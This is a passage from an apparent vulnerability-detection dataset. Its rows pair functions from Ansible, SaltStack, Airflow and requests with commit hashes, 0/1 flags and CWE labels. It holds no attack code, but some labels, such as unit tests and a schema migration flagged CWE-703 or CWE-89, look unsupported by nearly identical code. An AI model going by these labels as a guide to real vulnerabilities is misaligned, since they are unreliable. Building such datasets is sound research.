tmpdir = self._connection._shell.tmpdir
# We set the module_style to new here so the remote_tmp is created
# before the module args are built if remote_tmp is needed (async).
# If the module_style turns out to not be new and we didn't create the
# remote tmp here, it will still be created. This must be done before
# calling self._update_module_args() so the module wrapper has the
# correct remote_tmp value set
if not self._is_pipelining_enabled(""new"", wrap_async) and tmpdir is None:
self._make_tmp_path()
tmpdir = self._connection._shell.tmpdir
if task_vars is None:
task_vars = dict()
# if a module name was not specified for this execution, use the action from the task
if module_name is None:
module_name = self._task.action
if module_args is None:
module_args = self._task.args
self._update_module_args(module_name, module_args, task_vars, ignore_unknown_opts=ignore_unknown_opts)
remove_async_dir = None
if wrap_async or self._task.async_val:
async_dir = self.get_shell_option('async_dir', default=""~/.ansible_async"")
remove_async_dir = len(self._task.environment)
self._task.environment.append({""ANSIBLE_ASYNC_DIR"": async_dir})
# FUTURE: refactor this along with module build process to better encapsulate ""smart wrapper"" functionality
(module_style, shebang, module_data, module_path) = self._configure_module(module_name=module_name, module_args=module_args, task_vars=task_vars)
display.vvv(""Using module file %s"" % module_path)
if not shebang and module_style != 'binary':
raise AnsibleError(""module (%s) is missing interpreter line"" % module_name)
self._used_interpreter = shebang
remote_module_path = None
if not self._is_pipelining_enabled(module_style, wrap_async):
# we might need remote tmp dir
if tmpdir is None:
self._make_tmp_path()
tmpdir = self._connection._shell.tmpdir
remote_module_filename = self._connection._shell.get_remote_filename(module_path)
remote_module_path = self._connection._shell.join_path(tmpdir, 'AnsiballZ_%s' % remote_module_filename)
args_file_path = None
if module_style in ('old', 'non_native_want_json', 'binary'):
# we'll also need a tmp file to hold our module arguments
args_file_path = self._connection._shell.join_path(tmpdir, 'args')
if remote_module_path or module_style != 'new':
display.debug(""transferring module to remote %s"" % remote_module_path)
if module_style == 'binary':
self._transfer_file(module_path, remote_module_path)
else:
self._transfer_data(remote_module_path, module_data)
if module_style == 'old':
# we need to dump the module args to a k=v string in a file on
# the remote system, which can be read and parsed by the module
args_data = """"
for k, v in module_args.items():
args_data += '%s=%s ' % (k, shlex.quote(text_type(v)))
self._transfer_data(args_file_path, args_data)
elif module_style in ('non_native_want_json', 'binary'):
self._transfer_data(args_file_path, json.dumps(module_args))
display.debug(""done transferring module to remote"")
environment_string = self._compute_environment_string()
# remove the ANSIBLE_ASYNC_DIR env entry if we added a temporary one for
# the async_wrapper task.
if remove_async_dir is not None:
del self._task.environment[remove_async_dir]
remote_files = []
if tmpdir and remote_module_path:
remote_files = [tmpdir, remote_module_path]
if args_file_path:
remote_files.append(args_file_path)
sudoable = True
in_data = None
cmd = """"
if wrap_async and not self._connection.always_pipeline_modules:
# configure, upload, and chmod the async_wrapper module
(async_module_style, shebang, async_module_data, async_module_path) = self._configure_module(
module_name='ansible.legacy.async_wrapper', module_args=dict(), task_vars=task_vars)
async_module_remote_filename = self._connection._shell.get_remote_filename(async_module_path)
remote_async_module_path = self._connection._shell.join_path(tmpdir, async_module_remote_filename)
self._transfer_data(remote_async_module_path, async_module_data)
remote_files.append(remote_async_module_path)
async_limit = self._task.async_val
async_jid = f'j{random.randint(0, 999999999999)}'
# call the interpreter for async_wrapper directly
# this permits use of a script for an interpreter on non-Linux platforms
interpreter = shebang.replace('#!', '').strip()
async_cmd = [interpreter, remote_async_module_path, async_jid, async_limit, remote_module_path]
if environment_string:
async_cmd.insert(0, environment_string)
if args_file_path:
async_cmd.append(args_file_path)
else:
# maintain a fixed number of positional parameters for async_wrapper
async_cmd.append('_')
if not self._should_remove_tmp_path(tmpdir):
async_cmd.append(""-preserve_tmp"")
cmd = "" "".join(to_text(x) for x in async_cmd)
else:
if self._is_pipelining_enabled(module_style):
in_data = module_data
display.vvv(""Pipelining is enabled."")
else:
cmd = remote_module_path
cmd = self._connection._shell.build_module_command(environment_string, shebang, cmd, arg_path=args_file_path).strip()
# Fix permissions of the tmpdir path and tmpdir files. This should be called after all
# files have been transferred.
if remote_files:
# remove none/empty
remote_files = [x for x in remote_files if x]
self._fixup_perms2(remote_files, self._get_remote_user())
# actually execute
res = self._low_level_execute_command(cmd, sudoable=sudoable, in_data=in_data)
# parse the main result
data = self._parse_returned_data(res)
# NOTE: INTERNAL KEYS ONLY ACCESSIBLE HERE
# get internal info before cleaning
if data.pop(""_ansible_suppress_tmpdir_delete"", False):
self._cleanup_remote_tmp = False
# NOTE: yum returns results .. but that made it 'compatible' with squashing, so we allow mappings, for now
if 'results' in data and (not isinstance(data['results'], Sequence) or isinstance(data['results'], string_types)):
data['ansible_module_results'] = data['results']
del data['results']
display.warning(""Found internal 'results' key in module return, renamed to 'ansible_module_results'."")
# remove internal keys
remove_internal_keys(data)
if wrap_async:
# async_wrapper will clean up its tmpdir on its own so we want the controller side to
# forget about it now
self._connection._shell.tmpdir = None
# FIXME: for backwards compat, figure out if still makes sense
data['changed'] = True
# pre-split stdout/stderr into lines if needed
if 'stdout' in data and 'stdout_lines' not in data:
# if the value is 'False', a default won't catch it.
txt = data.get('stdout', None) or u''
data['stdout_lines'] = txt.splitlines()
if 'stderr' in data and 'stderr_lines' not in data:
# if the value is 'False', a default won't catch it.
txt = data.get('stderr', None) or u''
data['stderr_lines'] = txt.splitlines()
# propagate interpreter discovery results back to the controller
if self._discovered_interpreter_key:
if data.get('ansible_facts') is None:
data['ansible_facts'] = {}
data['ansible_facts'][self._discovered_interpreter_key] = self._discovered_interpreter
if self._discovery_warnings:
if data.get('warnings') is None:
data['warnings'] = []
data['warnings'].extend(self._discovery_warnings)
if self._discovery_deprecation_warnings:
if data.get('deprecations') is None:
data['deprecations'] = []
data['deprecations'].extend(self._discovery_deprecation_warnings)
# mark the entire module results untrusted as a template right here, since the current action could
# possibly template one of these values.
data = wrap_var(data)
display.debug(""done with _execute_module (%s, %s)"" % (module_name, module_args))
return data"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,tests/unit/utils/verify_test.py,0,"def test_valid_id_exception_handler(self):
'''
Ensure we just return False if we pass in invalid or undefined paths.
Refs #8259
'''
opts = {'pki_dir': '/tmp/whatever'}
self.assertFalse(valid_id(opts, None))",,saltstack/salt,0dbf41e79e9d46d382244a9011fc58da1332e5d8,"def test_valid_id_exception_handler(self):
'''
Ensure we just return False if we pass in invalid or undefined paths.
Refs #8259
'''
opts = {'pki_dir': '/tmp/whatever'}
self.assertFalse(valid_id(opts, None))"
,UNKNOWN,UNKNOWN,tests/pytests/functional/states/file/test_append.py,1,"def test_issue_1896_file_append_source(file, tmp_path, state_tree):
""""""
Verify that we can append a file's contents
""""""
testfile = tmp_path / ""test.append""
testfile.touch()
firstif_file = pytest.helpers.temp_file(
""firstif"", directory=state_tree / ""testappend"", contents=FIRST_IF_CONTENTS
)
secondif_file = pytest.helpers.temp_file(
""secondif"", directory=state_tree / ""testappend"", contents=SECOND_IF_CONTENTS
)
with firstif_file, secondif_file:
ret = file.append(name=str(testfile), source=""salt://testappend/firstif"")
assert ret.result is True
ret = file.append(name=str(testfile), source=""salt://testappend/secondif"")
assert ret.result is True
testfile_contents = testfile.read_text()
assert testfile_contents == FIRST_IF_CONTENTS + SECOND_IF_CONTENTS
# Run it again
ret = file.append(name=str(testfile), source=""salt://testappend/firstif"")
assert ret.result is True
ret = file.append(name=str(testfile), source=""salt://testappend/secondif"")
assert ret.result is True
testfile_contents = testfile.read_text()
assert testfile_contents == FIRST_IF_CONTENTS + SECOND_IF_CONTENTS",CWE-703,saltstack/salt,1144ca66eaa9e1ad9f54fa5da1f084da7d8b4859,"def test_issue_1896_file_append_source(file, tmp_path, state_tree):
""""""
Verify that we can append a file's contents
""""""
testfile = tmp_path / ""test.append""
testfile.touch()
firstif_file = pytest.helpers.temp_file(
""firstif"", directory=state_tree / ""testappend"", contents=FIRST_IF_CONTENTS
)
secondif_file = pytest.helpers.temp_file(
""secondif"", directory=state_tree / ""testappend"", contents=SECOND_IF_CONTENTS
)
with firstif_file, secondif_file:
ret = file.append(name=str(testfile), source=""salt://testappend/firstif"")
assert ret.result is True
ret = file.append(name=str(testfile), source=""salt://testappend/secondif"")
assert ret.result is True
testfile_contents = testfile.read_text()
assert testfile_contents == FIRST_IF_CONTENTS + SECOND_IF_CONTENTS
# Run it again
ret = file.append(name=str(testfile), source=""salt://testappend/firstif"")
assert ret.result is True
ret = file.append(name=str(testfile), source=""salt://testappend/secondif"")
assert ret.result is True
testfile_contents = testfile.read_text()
assert testfile_contents == FIRST_IF_CONTENTS + SECOND_IF_CONTENTS"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/providers/google/cloud/operators/looker.py,0,"def execute(self, context: ""Context"") -> str:
self.hook = LookerHook(looker_conn_id=self.looker_conn_id)
resp = self.hook.start_pdt_build(
model=self.model,
view=self.view,
query_params=self.query_params,
)
self.materialization_id = resp.materialization_id
if not self.materialization_id:
raise AirflowException(
f'No `materialization_id` was returned for model: {self.model}, view: {self.view}.'
)
self.log.info(""PDT materialization job submitted successfully. Job id: %s."", self.materialization_id)
if not self.asynchronous:
self.hook.wait_for_job(
materialization_id=self.materialization_id,
wait_time=self.wait_time,
timeout=self.wait_timeout,
)
return self.materialization_id",CWE-Unknown,apache/airflow,37a7b27242fa06e0c805cbc01cf3cfe3557daf8e,"def execute(self, context: ""Context"") -> str:
self.hook = LookerHook(looker_conn_id=self.looker_conn_id)
resp = self.hook.start_pdt_build(
model=self.model,
view=self.view,
query_params=self.query_params,
)
self.materialization_id = resp.materialization_id
if self.materialization_id is None:
raise AirflowException(
f'No `materialization_id` was returned for model: {self.model}, view: {self.view}.'
)
self.log.info(""PDT materialization job submitted successfully. Job id: %s."", self.materialization_id)
if not self.asynchronous:
self.hook.wait_for_job(
materialization_id=self.materialization_id,
wait_time=self.wait_time,
timeout=self.wait_timeout,
)
return self.materialization_id"
,UNKNOWN,UNKNOWN,tests/api_connexion/endpoints/test_dag_endpoint.py,1,"def test_should_respond_400_with_not_exists_fields(self, fields):
self._create_dag_models(1)
response = self.client.get(
f""/api/v1/dags/TEST_DAG_1?fields={','.join(fields)}"", environ_overrides={""REMOTE_USER"": ""test""}
)
assert response.status_code == 400, f""Current code: {response.status_code}""",CWE-703,apache/airflow,7b608250468740954c6b0af7a5f7f23dfa52b473,"def test_should_respond_400_with_not_exists_fields(self, fields):
self._create_dag_models(1)
response = self.client.get(
f""/api/v1/dags/TEST_DAG_1?fields={','.join(fields)}"", environ_overrides={""REMOTE_USER"": ""test""}
)
assert response.status_code == 400, f""Current code: {response.status_code}"""
,UNKNOWN,UNKNOWN,tests/pytests/functional/modules/state/requisites/test_watch.py,1,"def test_watch_in_failure(state, state_tree):
""""""
test watch_in requisite when there is a failure
""""""
sls_contents = """"""
return_changes:
test.fail_with_changes:
- watch_in:
- test: watch_states
watch_states:
test.succeed_without_changes
""""""
fail = ""test_|-return_changes_|-return_changes_|-fail_with_changes""
watch = ""test_|-watch_states_|-watch_states_|-succeed_without_changes""
with pytest.helpers.temp_file(""requisite.sls"", sls_contents, state_tree):
ret = state.sls(""requisite"")
assert ret[fail].result is False
assert (
ret[watch].comment
== ""One or more requisite failed: requisite.return_changes""
)",CWE-703,saltstack/salt,9d335ba4ec20f89109b71753c0567e716795e755,"def test_watch_in_failure(state, state_tree):
""""""
test watch_in requisite when there is a failure
""""""
sls_contents = """"""
return_changes:
test.fail_with_changes:
- watch_in:
- test: watch_states
watch_states:
test.succeed_without_changes
""""""
fail = ""test_|-return_changes_|-return_changes_|-fail_with_changes""
watch = ""test_|-watch_states_|-watch_states_|-succeed_without_changes""
with pytest.helpers.temp_file(""requisite.sls"", sls_contents, state_tree):
ret = state.sls(""requisite"")
assert ret[fail].result is False
assert (
ret[watch].comment
== ""One or more requisite failed: requisite.return_changes""
)"
,UNKNOWN,UNKNOWN,airflow/migrations/versions/0093_2_2_0_taskinstance_keyed_to_dagrun.py,1,"def upgrade():
""""""Apply Change ``TaskInstance`` and ``TaskReschedule`` tables from execution_date to run_id.""""""
conn = op.get_bind()
dialect_name = conn.dialect.name
dt_type = TIMESTAMP
string_id_col_type = StringID()
if dialect_name == ""sqlite"":
naming_convention = {
""uq"": ""%(table_name)s_%(column_0_N_name)s_key"",
}
# The naming_convention force the previously un-named UNIQUE constraints to have the right name
with op.batch_alter_table(
""dag_run"", naming_convention=naming_convention, recreate=""always""
) as batch_op:
batch_op.alter_column(""dag_id"", existing_type=string_id_col_type, nullable=False)
batch_op.alter_column(""run_id"", existing_type=string_id_col_type, nullable=False)
batch_op.alter_column(""execution_date"", existing_type=dt_type, nullable=False)
elif dialect_name == ""mysql"":
with op.batch_alter_table(""dag_run"") as batch_op:
batch_op.alter_column(
""dag_id"", existing_type=sa.String(length=ID_LEN), type_=string_id_col_type, nullable=False
)
batch_op.alter_column(
""run_id"", existing_type=sa.String(length=ID_LEN), type_=string_id_col_type, nullable=False
)
batch_op.alter_column(""execution_date"", existing_type=dt_type, nullable=False)
inspector = sa.inspect(conn.engine)
unique_keys = inspector.get_unique_constraints(""dag_run"")
for unique_key in unique_keys:
batch_op.drop_constraint(unique_key[""name""], type_=""unique"")
batch_op.create_unique_constraint(
""dag_run_dag_id_execution_date_key"", [""dag_id"", ""execution_date""]
)
batch_op.create_unique_constraint(""dag_run_dag_id_run_id_key"", [""dag_id"", ""run_id""])
elif dialect_name == ""mssql"":
with op.batch_alter_table(""dag_run"") as batch_op:
batch_op.drop_index(""idx_not_null_dag_id_execution_date"")
batch_op.drop_index(""idx_not_null_dag_id_run_id"")
batch_op.drop_index(""dag_id_state"")
batch_op.drop_index(""idx_dag_run_dag_id"")
batch_op.drop_index(""idx_dag_run_running_dags"")
batch_op.drop_index(""idx_dag_run_queued_dags"")
batch_op.alter_column(""dag_id"", existing_type=string_id_col_type, nullable=False)
batch_op.alter_column(""execution_date"", existing_type=dt_type, nullable=False)
batch_op.alter_column(""run_id"", existing_type=string_id_col_type, nullable=False)
# _Somehow_ mssql was missing these constraints entirely
batch_op.create_unique_constraint(
""dag_run_dag_id_execution_date_key"", [""dag_id"", ""execution_date""]
)
batch_op.create_unique_constraint(""dag_run_dag_id_run_id_key"", [""dag_id"", ""run_id""])
batch_op.create_index(""dag_id_state"", [""dag_id"", ""state""], unique=False)
batch_op.create_index(""idx_dag_run_dag_id"", [""dag_id""])
batch_op.create_index(
""idx_dag_run_running_dags"",
[""state"", ""dag_id""],
mssql_where=sa.text(""state='running'""),
)
batch_op.create_index(
""idx_dag_run_queued_dags"",
[""state"", ""dag_id""],
mssql_where=sa.text(""state='queued'""),
)
else:
# Make sure DagRun PK columns are non-nullable
with op.batch_alter_table(""dag_run"", schema=None) as batch_op:
batch_op.alter_column(""dag_id"", existing_type=string_id_col_type, nullable=False)
batch_op.alter_column(""execution_date"", existing_type=dt_type, nullable=False)
batch_op.alter_column(""run_id"", existing_type=string_id_col_type, nullable=False)
# First create column nullable
op.add_column(""task_instance"", sa.Column(""run_id"", type_=string_id_col_type, nullable=True))
op.add_column(""task_reschedule"", sa.Column(""run_id"", type_=string_id_col_type, nullable=True))
#
# TaskReschedule has a FK to TaskInstance, so we have to update that before
# we can drop the TI.execution_date column
update_query = _multi_table_update(dialect_name, task_reschedule, task_reschedule.c.run_id)
op.execute(update_query)
with op.batch_alter_table(""task_reschedule"", schema=None) as batch_op:
batch_op.alter_column(
""run_id"", existing_type=string_id_col_type, existing_nullable=True, nullable=False
)
batch_op.drop_constraint(""task_reschedule_dag_task_date_fkey"", type_=""foreignkey"")
if dialect_name == ""mysql"":
# Mysql creates an index and a constraint -- we have to drop both
batch_op.drop_index(""task_reschedule_dag_task_date_fkey"")
batch_op.alter_column(
""dag_id"", existing_type=sa.String(length=ID_LEN), type_=string_id_col_type, nullable=False
)
batch_op.drop_index(""idx_task_reschedule_dag_task_date"")
# Then update the new column by selecting the right value from DagRun
# But first we will drop and recreate indexes to make it faster
if dialect_name == ""postgresql"":
# Recreate task_instance, without execution_date and with dagrun.run_id
op.execute(
""""""
CREATE TABLE new_task_instance AS SELECT
ti.task_id,
ti.dag_id,
dag_run.run_id,
ti.start_date,
ti.end_date,
ti.duration,
ti.state,
ti.try_number,
ti.hostname,
ti.unixname,
ti.job_id,
ti.pool,
ti.queue,
ti.priority_weight,
ti.operator,
ti.queued_dttm,
ti.pid,
ti.max_tries,
ti.executor_config,
ti.pool_slots,
ti.queued_by_job_id,
ti.external_executor_id,
ti.trigger_id,
ti.trigger_timeout,
ti.next_method,
ti.next_kwargs
FROM task_instance ti
INNER JOIN dag_run ON dag_run.dag_id = ti.dag_id AND dag_run.execution_date = ti.execution_date;
""""""
)
op.drop_table(""task_instance"")
op.rename_table(""new_task_instance"", ""task_instance"")
# Fix up columns after the 'create table as select'
with op.batch_alter_table(""task_instance"", schema=None) as batch_op:
batch_op.alter_column(
""pool"", existing_type=string_id_col_type, existing_nullable=True, nullable=False
)
batch_op.alter_column(""max_tries"", existing_type=sa.Integer(), server_default=""-1"")
batch_op.alter_column(
""pool_slots"", existing_type=sa.Integer(), existing_nullable=True, nullable=False
)
else:
update_query = _multi_table_update(dialect_name, task_instance, task_instance.c.run_id)
op.execute(update_query)
with op.batch_alter_table(""task_instance"", schema=None) as batch_op:
if dialect_name != ""postgresql"":
# TODO: Is this right for non-postgres?
if dialect_name == ""mssql"":
constraints = get_mssql_table_constraints(conn, ""task_instance"")
pk, _ = constraints[""PRIMARY KEY""].popitem()
batch_op.drop_constraint(pk, type_=""primary"")
elif dialect_name not in (""sqlite""):
batch_op.drop_constraint(""task_instance_pkey"", type_=""primary"")
batch_op.drop_index(""ti_dag_date"")
batch_op.drop_index(""ti_state_lkp"")
batch_op.drop_column(""execution_date"")
# Then make it non-nullable
batch_op.alter_column(
""run_id"", existing_type=string_id_col_type, existing_nullable=True, nullable=False
)
batch_op.alter_column(
""dag_id"", existing_type=string_id_col_type, existing_nullable=True, nullable=False
)
batch_op.create_primary_key(""task_instance_pkey"", [""dag_id"", ""task_id"", ""run_id""])
batch_op.create_foreign_key(
""task_instance_dag_run_fkey"",
""dag_run"",
[""dag_id"", ""run_id""],
[""dag_id"", ""run_id""],
ondelete=""CASCADE"",
)
batch_op.create_index(""ti_dag_run"", [""dag_id"", ""run_id""])
batch_op.create_index(""ti_state_lkp"", [""dag_id"", ""task_id"", ""run_id"", ""state""])
if dialect_name == ""postgresql"":
batch_op.create_index(""ti_dag_state"", [""dag_id"", ""state""])
batch_op.create_index(""ti_job_id"", [""job_id""])
batch_op.create_index(""ti_pool"", [""pool"", ""state"", ""priority_weight""])
batch_op.create_index(""ti_state"", [""state""])
batch_op.create_foreign_key(
""task_instance_trigger_id_fkey"", ""trigger"", [""trigger_id""], [""id""], ondelete=""CASCADE""
)
batch_op.create_index(""ti_trigger_id"", [""trigger_id""])
with op.batch_alter_table(""task_reschedule"", schema=None) as batch_op:
batch_op.drop_column(""execution_date"")
batch_op.create_index(
""idx_task_reschedule_dag_task_run"",
[""dag_id"", ""task_id"", ""run_id""],
unique=False,
)
# _Now_ there is a unique constraint on the columns in TI we can re-create the FK from TaskReschedule
batch_op.create_foreign_key(
""task_reschedule_ti_fkey"",
""task_instance"",
[""dag_id"", ""task_id"", ""run_id""],
[""dag_id"", ""task_id"", ""run_id""],
ondelete=""CASCADE"",
)
# https://docs.microsoft.com/en-us/sql/relational-databases/errors-events/mssqlserver-1785-database-engine-error?view=sql-server-ver15
ondelete = ""CASCADE"" if dialect_name != ""mssql"" else ""NO ACTION""
batch_op.create_foreign_key(
""task_reschedule_dr_fkey"",
""dag_run"",
[""dag_id"", ""run_id""],
[""dag_id"", ""run_id""],
ondelete=ondelete,
)",CWE-89,apache/airflow,1bd538be8c5b134643a6c5eddd06f70e6f0db2e7,"def upgrade():
""""""Apply Change ``TaskInstance`` and ``TaskReschedule`` tables from execution_date to run_id.""""""
conn = op.get_bind()
dialect_name = conn.dialect.name
dt_type = TIMESTAMP
string_id_col_type = StringID()
if dialect_name == ""sqlite"":
naming_convention = {
""uq"": ""%(table_name)s_%(column_0_N_name)s_key"",
}
# The naming_convention force the previously un-named UNIQUE constraints to have the right name
with op.batch_alter_table(
""dag_run"", naming_convention=naming_convention, recreate=""always""
) as batch_op:
batch_op.alter_column(""dag_id"", existing_type=string_id_col_type, nullable=False)
batch_op.alter_column(""run_id"", existing_type=string_id_col_type, nullable=False)
batch_op.alter_column(""execution_date"", existing_type=dt_type, nullable=False)
elif dialect_name == ""mysql"":
with op.batch_alter_table(""dag_run"") as batch_op:
batch_op.alter_column(
""dag_id"", existing_type=sa.String(length=ID_LEN), type_=string_id_col_type, nullable=False
)
batch_op.alter_column(
""run_id"", existing_type=sa.String(length=ID_LEN), type_=string_id_col_type, nullable=False
)
batch_op.alter_column(""execution_date"", existing_type=dt_type, nullable=False)
inspector = sa.inspect(conn.engine)
unique_keys = inspector.get_unique_constraints(""dag_run"")
for unique_key in unique_keys:
batch_op.drop_constraint(unique_key[""name""], type_=""unique"")
batch_op.create_unique_constraint(
""dag_run_dag_id_execution_date_key"", [""dag_id"", ""execution_date""]
)
batch_op.create_unique_constraint(""dag_run_dag_id_run_id_key"", [""dag_id"", ""run_id""])
elif dialect_name == ""mssql"":
with op.batch_alter_table(""dag_run"") as batch_op:
batch_op.drop_index(""idx_not_null_dag_id_execution_date"")
batch_op.drop_index(""idx_not_null_dag_id_run_id"")
batch_op.drop_index(""dag_id_state"")
batch_op.drop_index(""idx_dag_run_dag_id"")
batch_op.drop_index(""idx_dag_run_running_dags"")
batch_op.drop_index(""idx_dag_run_queued_dags"")
batch_op.alter_column(""dag_id"", existing_type=string_id_col_type, nullable=False)
batch_op.alter_column(""execution_date"", existing_type=dt_type, nullable=False)
batch_op.alter_column(""run_id"", existing_type=string_id_col_type, nullable=False)
# _Somehow_ mssql was missing these constraints entirely
batch_op.create_unique_constraint(
""dag_run_dag_id_execution_date_key"", [""dag_id"", ""execution_date""]
)
batch_op.create_unique_constraint(""dag_run_dag_id_run_id_key"", [""dag_id"", ""run_id""])
batch_op.create_index(""dag_id_state"", [""dag_id"", ""state""], unique=False)
batch_op.create_index(""idx_dag_run_dag_id"", [""dag_id""])
batch_op.create_index(
""idx_dag_run_running_dags"",
[""state"", ""dag_id""],
mssql_where=sa.text(""state='running'""),
)
batch_op.create_index(
""idx_dag_run_queued_dags"",
[""state"", ""dag_id""],
mssql_where=sa.text(""state='queued'""),
)
else:
# Make sure DagRun PK columns are non-nullable
with op.batch_alter_table(""dag_run"", schema=None) as batch_op:
batch_op.alter_column(""dag_id"", existing_type=string_id_col_type, nullable=False)
batch_op.alter_column(""execution_date"", existing_type=dt_type, nullable=False)
batch_op.alter_column(""run_id"", existing_type=string_id_col_type, nullable=False)
# First create column nullable
op.add_column(""task_instance"", sa.Column(""run_id"", type_=string_id_col_type, nullable=True))
op.add_column(""task_reschedule"", sa.Column(""run_id"", type_=string_id_col_type, nullable=True))
#
# TaskReschedule has a FK to TaskInstance, so we have to update that before
# we can drop the TI.execution_date column
update_query = _multi_table_update(dialect_name, task_reschedule, task_reschedule.c.run_id)
op.execute(update_query)
with op.batch_alter_table(""task_reschedule"", schema=None) as batch_op:
batch_op.alter_column(
""run_id"", existing_type=string_id_col_type, existing_nullable=True, nullable=False
)
batch_op.drop_constraint(""task_reschedule_dag_task_date_fkey"", ""foreignkey"")
if dialect_name == ""mysql"":
# Mysql creates an index and a constraint -- we have to drop both
batch_op.drop_index(""task_reschedule_dag_task_date_fkey"")
batch_op.alter_column(
""dag_id"", existing_type=sa.String(length=ID_LEN), type_=string_id_col_type, nullable=False
)
batch_op.drop_index(""idx_task_reschedule_dag_task_date"")
# Then update the new column by selecting the right value from DagRun
# But first we will drop and recreate indexes to make it faster
if dialect_name == ""postgresql"":
# Recreate task_instance, without execution_date and with dagrun.run_id
op.execute(
""""""
CREATE TABLE new_task_instance AS SELECT
ti.task_id,
ti.dag_id,
dag_run.run_id,
ti.start_date,
ti.end_date,
ti.duration,
ti.state,
ti.try_number,
ti.hostname,
ti.unixname,
ti.job_id,
ti.pool,
ti.queue,
ti.priority_weight,
ti.operator,
ti.queued_dttm,
ti.pid,
ti.max_tries,
ti.executor_config,
ti.pool_slots,
ti.queued_by_job_id,
ti.external_executor_id,
ti.trigger_id,
ti.trigger_timeout,
ti.next_method,
ti.next_kwargs
FROM task_instance ti
INNER JOIN dag_run ON dag_run.dag_id = ti.dag_id AND dag_run.execution_date = ti.execution_date;
""""""
)
op.drop_table(""task_instance"")
op.rename_table(""new_task_instance"", ""task_instance"")
# Fix up columns after the 'create table as select'
with op.batch_alter_table(""task_instance"", schema=None) as batch_op:
batch_op.alter_column(
""pool"", existing_type=string_id_col_type, existing_nullable=True, nullable=False
)
batch_op.alter_column(""max_tries"", existing_type=sa.Integer(), server_default=""-1"")
batch_op.alter_column(
""pool_slots"", existing_type=sa.Integer(), existing_nullable=True, nullable=False
)
else:
update_query = _multi_table_update(dialect_name, task_instance, task_instance.c.run_id)
op.execute(update_query)
with op.batch_alter_table(""task_instance"", schema=None) as batch_op:
if dialect_name != ""postgresql"":
# TODO: Is this right for non-postgres?
if dialect_name == ""mssql"":
constraints = get_mssql_table_constraints(conn, ""task_instance"")
pk, _ = constraints[""PRIMARY KEY""].popitem()
batch_op.drop_constraint(pk, type_=""primary"")
elif dialect_name not in (""sqlite""):
batch_op.drop_constraint(""task_instance_pkey"", type_=""primary"")
batch_op.drop_index(""ti_dag_date"")
batch_op.drop_index(""ti_state_lkp"")
batch_op.drop_column(""execution_date"")
# Then make it non-nullable
batch_op.alter_column(
""run_id"", existing_type=string_id_col_type, existing_nullable=True, nullable=False
)
batch_op.alter_column(
""dag_id"", existing_type=string_id_col_type, existing_nullable=True, nullable=False
)
batch_op.create_primary_key(""task_instance_pkey"", [""dag_id"", ""task_id"", ""run_id""])
batch_op.create_foreign_key(
""task_instance_dag_run_fkey"",
""dag_run"",
[""dag_id"", ""run_id""],
[""dag_id"", ""run_id""],
ondelete=""CASCADE"",
)
batch_op.create_index(""ti_dag_run"", [""dag_id"", ""run_id""])
batch_op.create_index(""ti_state_lkp"", [""dag_id"", ""task_id"", ""run_id"", ""state""])
if dialect_name == ""postgresql"":
batch_op.create_index(""ti_dag_state"", [""dag_id"", ""state""])
batch_op.create_index(""ti_job_id"", [""job_id""])
batch_op.create_index(""ti_pool"", [""pool"", ""state"", ""priority_weight""])
batch_op.create_index(""ti_state"", [""state""])
batch_op.create_foreign_key(
""task_instance_trigger_id_fkey"", ""trigger"", [""trigger_id""], [""id""], ondelete=""CASCADE""
)
batch_op.create_index(""ti_trigger_id"", [""trigger_id""])
with op.batch_alter_table(""task_reschedule"", schema=None) as batch_op:
batch_op.drop_column(""execution_date"")
batch_op.create_index(
""idx_task_reschedule_dag_task_run"",
[""dag_id"", ""task_id"", ""run_id""],
unique=False,
)
# _Now_ there is a unique constraint on the columns in TI we can re-create the FK from TaskReschedule
batch_op.create_foreign_key(
""task_reschedule_ti_fkey"",
""task_instance"",
[""dag_id"", ""task_id"", ""run_id""],
[""dag_id"", ""task_id"", ""run_id""],
ondelete=""CASCADE"",
)
# https://docs.microsoft.com/en-us/sql/relational-databases/errors-events/mssqlserver-1785-database-engine-error?view=sql-server-ver15
ondelete = ""CASCADE"" if dialect_name != ""mssql"" else ""NO ACTION""
batch_op.create_foreign_key(
""task_reschedule_dr_fkey"",
""dag_run"",
[""dag_id"", ""run_id""],
[""dag_id"", ""run_id""],
ondelete=ondelete,
)"
functions_for_requests_with_cwe.csv,UNKNOWN,UNKNOWN,requests/models.py,0,"def prepare_url(self, url, params):
""""""Prepares the given HTTP URL.""""""
#: Accept objects that have string representations.
#: We're unable to blindly call unicode/str functions
#: as this will include the bytestring indicator (b'')
#: on python 3.x.
#: https://github.com/psf/requests/pull/2238
if isinstance(url, bytes):
url = url.decode('utf8')
else:
url = unicode(url) if is_py2 else str(url)
# Remove leading whitespaces from url
url = url.lstrip()
# Don't do any URL preparation for non-HTTP schemes like `mailto`,
# `data` etc to work around exceptions from `url_parse`, which
# handles RFC 3986 only.
if ':' in url and not url.lower().startswith('http'):
self.url = url
return
# Support for unicode domain names and paths.
try:
scheme, auth, host, port, path, query, fragment = parse_url(url)
except LocationParseError as e:
raise InvalidURL(*e.args)
if not scheme:
error = (""Invalid URL {0!r}: No scheme supplied. Perhaps you meant http://{0}?"")
error = error.format(to_native_string(url, 'utf8'))
raise MissingSchema(error)
if not host:
raise InvalidURL(""Invalid URL %r: No host supplied"" % url)
# In general, we want to try IDNA encoding the hostname if the string contains
# non-ASCII characters. This allows users to automatically get the correct IDNA
# behaviour. For strings containing only ASCII characters, we need to also verify
# it doesn't start with a wildcard (*), before allowing the unencoded hostname.
if not unicode_is_ascii(host):
try:
host = self._get_idna_encoded_host(host)
except UnicodeError:
raise InvalidURL('URL has an invalid label.')
elif host.startswith(u'*'):
raise InvalidURL('URL has an invalid label.')
# Carefully reconstruct the network location
netloc = auth or ''
if netloc:
netloc += '@'
netloc += host
if port:
netloc += ':' + str(port)
# Bare domains aren't valid URLs.
if not path:
path = '/'
if is_py2:
if isinstance(scheme, str):
scheme = scheme.encode('utf-8')
if isinstance(netloc, str):
netloc = netloc.encode('utf-8')
if isinstance(path, str):
path = path.encode('utf-8')
if isinstance(query, str):
query = query.encode('utf-8')
if isinstance(fragment, str):
fragment = fragment.encode('utf-8')
if isinstance(params, (str, bytes)):
params = to_native_string(params)
enc_params = self._encode_params(params)
if enc_params:
if query:
query = '%s&%s' % (query, enc_params)
else:
query = enc_params
url = requote_uri(urlunparse([scheme, netloc, path, None, query, fragment]))
self.url = url",,psf/requests,2b06a952a9e6e23e9eda2c8759adb62739730a75,"def prepare_url(self, url, params):
""""""Prepares the given HTTP URL.""""""
#: Accept objects that have string representations.
#: We're unable to blindly call unicode/str functions
